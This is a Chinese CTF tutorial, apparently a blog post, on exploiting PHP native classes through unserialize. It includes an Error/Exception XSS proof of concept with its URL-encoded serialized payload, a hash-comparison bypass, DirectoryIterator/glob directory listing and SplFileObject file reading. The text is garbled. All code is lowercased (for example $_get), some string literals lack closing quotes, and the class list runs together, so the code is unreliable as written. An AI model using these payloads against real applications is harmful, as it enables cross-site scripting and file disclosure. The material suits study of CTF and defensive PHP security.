这次hectf就是一个原生类的题,只有短短三行代码。果然越短小的代码在ctf里越难。
首先贴一个遍历php内置类的脚本
<?php$classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__tostring', '__wakeup', '__call', '__callstatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
结果:
整理一下:
exceptionerrorexceptionerrorparseerrortypeerrorargumentcounterror arithmeticerrordivisionbyzeroerrorclosedgeneratorexceptiondatetimedatetimezonedateperioddirectoryiteratorwakeup jsonexceptionwakeup logicexceptionbadfunctioncallexceptioninvalidargumentexception outofrangeexceptionruntimeexceptionoverflowexceptionrangeexceptionunderflowexceptionglobiteratorsplfixedarrayreflectionexceptionreflectionfunctionabstractreflectionparameterreflectionmethodreflectionclassreflectionclassconstantreflectionzendextensionassertionerrordomexceptionpdoexceptionsimplexmlelementmysqli_sql_exceptionpharexceptionphardatapharfileinfo
大概就是这些类了,但是在ctf比赛中经常会用到的就是以下几类
errorexceptionsoapclientdirectoryiteratorsimplexmlelementerror/exception 内置类进行 xsserror xss__tostring方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射形xss漏洞
demo:
<?php$a = unserialize($_get['a']);echo $a;
poc
<?php$a = new error("<script>alert('hacker')</script>);$b = serialize($a);echo urlencode($b);
输出了一串字符串
o%3a5%3a%22error%22%3a7%3a%7bs%3a10%3a%22%00%2a%00message%22%3bs%3a32%3a%22%3cscript%3ealert%28%27hacker%27%29%3c%2fscript%3e%22%3bs%3a13%3a%22%00error%00string%22%3bs%3a0%3a%22%22%3bs%3a7%3a%22%00%2a%00code%22%3bi%3a0%3bs%3a7%3a%22%00%2a%00file%22%3bs%3a25%3a%22e%3a%5cphp%5cfunction%5ctest2.php%22%3bs%3a7%3a%22%00%2a%00line%22%3bi%3a2%3bs%3a12%3a%22%00error%00trace%22%3ba%3a0%3a%7b%7ds%3a15%3a%22%00error%00previous%22%3bn%3b%7d复制代码
成功弹窗
exception xssexception是所有用户级异常的基类。 (php 5, 7, 8)
<?php$a = new exception("<script>alert('hacker')</script>);$b = serialize($a);echo urlencode($b);?>
和error的pop的构造好像是一样的(exception适用于php5和7,error只适用于php7),把error换成exception就行了。依然成功弹窗
error/exception 内置类绕过哈希比较通过构造这两个类可以啊绕过md5()和sha1()函数。error和exception都有一个重要方法:_tostring,用于将异常对象转换为字符串。
同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法
<?php$a = new error("payload",1);$b=new error("payload",2);echo $a."<br>;echo $b.<br>;
输出结果可以看出,payload后面的参数并不影响输出的结果。正是通过这个可以绕过哈希函数。
<?php$a=new error("payload",1);$b=new error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)) { echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等\n";}
soapclientsoap的定义简单对象访问协议含义
这里之所以说是简单,是因为它是基于已经广泛使用的两个协议:http和xml,所以业界把这种技术称为“它是第一个没有发明任何新技术的技术",之所以说是对象,是因为把访问的web服务称为对象,既然服务是对象,那么服务肯定有相关的属性和调用行为,这些属性和行为是通过wsdl来描述的。如果按“简单的对象访问协议”来理解,相比“简单对象访问协议”要容易些
php 的内置类 soapclient 是一个专门用来访问web服务的类,可以提供一个基于soap协议访问web服务的 php 客户端。
该类的构造函数如下:
public soapclient :: soapclient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的soap服务器的url,而uri 是soap服务的目标命名空间。php原生文件操作类目录遍历directoryiterator
__tostring 获取字符串形式的文件名 (php 5,7,8)
例如:
<?php$a = new directoryiterator("/");foreach($a as $b){ echo($b.'</br>');}echo $a;
输出指定目录里面经过排序之后的第一个文件名
使用此内置类的__tostring方法结合glob或file协议,即可实现目录遍历
利用foreach能遍历所有的文件
多一个斜杠,目录往前一个。
filesystemiterator 类
filesystemiterator 类与 directoryiterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的使用方法与directoryiterator 类也是基本相同的:
文件读取splfileobject::__tostring — 以字符串形式返回文件的路径
输出多行
推荐学习:《php视频教程》
以上就是php原生类的总结分享的详细内容。
